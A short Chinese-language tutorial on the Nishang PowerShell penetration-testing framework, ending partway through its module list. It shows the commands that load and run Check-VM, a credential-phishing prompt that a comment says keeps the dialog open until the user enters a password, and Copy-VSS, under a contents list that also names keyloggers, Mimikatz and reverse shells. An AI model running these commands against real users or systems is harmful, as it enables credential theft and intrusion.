powershell攻击指南——Nishang

目录

1.简介

2.模块导入

Nishang模块攻击

1.Check-VM

2.Invoke-CredentialsPnish

3.Copy-VSS

4.FireBuster FireListener扫描器

5.Keylogger键盘记录

6.Invoke-Mimikatz

7.get-passhashes

8.获取用户的密码提示信息Get-PassHints

9.获取系统信息

PowerShell隐藏通信隧道

1.基于TCP协议的Powershell交互式shell

2.基于UDP协议的shell

3.基于HTTP和HTTPS协议的交互式shell

权限提升

1.下载执行

2.Bypass UAC

2.删除补丁

3.端口扫描

4.屏幕窃取

---

 

1.简介

Nishang是一款针 对PowerShell的渗透工具。它基于PowerShell的渗透测试专用工具，集成了框架、脚本和各种Payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本，被广泛应用于渗透测试的各个阶段。其下载地址为https://github.com/samratashok/nishang。Nishang要在powershell3.0以上的环境中才可以正常使用。

2.模块导入

Get-Command -Moudle nishang

 

Nishang模块攻击

1.Check-VM

Set-ExecutionPolicy RemoteSigned
Import-Module .\Check-VM.ps1
.\Check-VM.ps1
Check-VM

 

2.Invoke-CredentialsPnish

#欺骗用户输入密码，不正确就无法关闭对话框
PS C:\Users\win\Documents\nishang\Gather> Import-Module .\Invoke-CredentialsPhish.ps1
PS C:\Users\win\Documents\nishang\Gather> Invoke-CredentialsPhish

 

3.Copy-VSS

PS C:\Users\win\Documents\nishang\Gather> Import-Module .\Copy-VSS.ps1                                                                                                                 

PS C:\Users\win\Documents\nishang\Gather> Copy-VSS 

 

4.FireBuster FireListener扫描器